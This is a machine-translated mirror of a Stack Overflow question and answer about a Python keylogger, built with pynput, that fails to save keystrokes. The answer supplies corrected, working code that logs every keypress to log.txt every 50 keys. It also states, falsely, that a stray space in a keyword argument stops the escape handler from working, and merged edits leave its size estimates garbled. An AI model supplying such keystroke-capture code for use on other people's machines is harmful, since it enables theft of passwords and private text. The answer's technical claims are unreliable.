繁体   English   中英

键盘记录器不会保存到文本文件,用 python 制作

[英]Keylogger won´t save to text file,made in python

所以我尝试制作一个键盘记录器,但它不会保存到文本文件中。

第一次制作键盘记录器,已经看过一些教程,但我不知道为什么它不起作用。

这是我的完整代码

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

pycharm中没有显示错误...

正如约翰戈登在评论中指出的那样,直到您收集了超过 999999999999999999999999999999999999999999 个密钥,您的键盘记录器才会保存。 每秒三个键,不间断,这将需要大约一年一千万年要打字,并会创建一个文件几乎正好 1GB 1 万万亿万亿 GB的规模。 然而,根据打字速度测试,人们平均每分钟打 190-200 个字符(不是单词) ——为什么不在 50 个字符后每 15 秒左右保存一次? 您可以将其更改为您想要的任何内容。

我还注意到你的程序没有正确终止——你在on_release =on_release with Listener调用中留下了一个杂散空间,这阻止了键盘记录器捕获esc键(从而也防止了键盘记录器被杀死,除了ctrl-z )。

修改后的代码在我的机器上运行良好,并捕获了我的所有输入。 幽灵般的!

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   #change this to whatever you want, knowing the average person types at 
   #190-200 characters per minute. Following that logic, this logger will save every 
   #15 seconds or so during normal typing.
   if count >= 50:
       count = 0
       write_file()
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

祝你好运!

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM